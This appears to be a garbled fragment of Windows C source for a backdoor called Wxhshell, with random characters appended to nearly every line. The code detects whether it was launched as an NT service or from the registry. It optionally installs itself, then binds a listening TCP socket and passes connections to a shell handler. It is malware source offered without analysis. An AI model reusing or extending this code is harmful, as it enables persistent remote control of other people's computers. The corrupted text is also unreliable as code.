DWORD AffinityMask; /=,^fCCN
DWORD BasePriority; roj/GZAy"
ULONG UniqueProcessId; <MA!?7Z|
ULONG InheritedFromUniqueProcessId; V{ra,a*
} PROCESS_BASIC_INFORMATION; H<X4R
P}DrUND
PROCNTQSIP NtQueryInformationProcess; L1P]T4a@)
_
CXKJ]m4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ( F0.lDZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sjWhtd[fgG
2"yzrwZ:
HANDLE hProcess; D#W{:_f
PROCESS_BASIC_INFORMATION pbi; n_.2B$JD
8[(c'rl|)|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f.V0uBDN
if(NULL == hInst ) return 0; Y]&HU) u
Fl(+c0|kT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W\N-~9UA
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RTH dL
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [^1;8Tbk
kxThtjgv
if (!NtQueryInformationProcess) return 0; wf6ZzG:
@>(l}5U5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
&,{cm^*
if(!hProcess) return 0; #++MoW}'g
u9N?B* &{
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O 4l[4,`
_d
A-{
CloseHandle(hProcess); TnPd pynP
HPVT$EJ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .7+_ubj&,
if(hProcess==NULL) return 0; wV W+~DJ
(ai E!c
HMODULE hMod; 42U3>
char procName[255]; Vnv<]D
zC
unsigned long cbNeeded; 67/hhO
2EQ:mjxk
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2X]2;W)S;
g#9KG
CloseHandle(hProcess); /<zBcpVNV
n KDX=73
if(strstr(procName,"services")) return 1; // 以服务启动 +3]@0VM26;
m-*du(
return 0; // 注册表启动 6LNm>O
} QIBv}hgcy
U/D\N0
// 主模块 A~h.,<+"
int StartWxhshell(LPSTR lpCmdLine) + 5sTGNG
{ 8l+\Qyj
SOCKET wsl; XZZ Ml
BOOL val=TRUE; )I.[@#-
int port=0; wEKm3mY;
struct sockaddr_in door; <3Co/ .VQd
Uu
}ai."iB
if(wscfg.ws_autoins) Install(); ~WR6rc
afGb}8
Q9
port=atoi(lpCmdLine); xJ^Gtq Um
So bK<6
if(port<=0) port=wscfg.ws_port; Fg5>CppH
{B\ar+ 9>
WSADATA data; )q&uvfQ1(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4q~+K'Z
Ct$e`H!;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PO<4rT+B
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &qMSJ
door.sin_family = AF_INET; tA}O'x
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5a5I+*
c
door.sin_port = htons(port); BU<A+Pe>
i^Ep[3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v)okVyv
closesocket(wsl); wEQV"I
return 1; Co[ rhs
} K}&|lCsb
\AoM'+
if(listen(wsl,2) == INVALID_SOCKET) { iNd8M V
closesocket(wsl); }yx'U 3
return 1; 0K@s_C=n#
} P]j{JL/g&
Wxhshell(wsl); cDm_QYQ
WSACleanup(); hgfCM
_Bb/~^
return 0; Y.[^3
$-jj%x\}
} <M7@JgC &
EAj2uV
// 以NT服务方式启动 P `T&z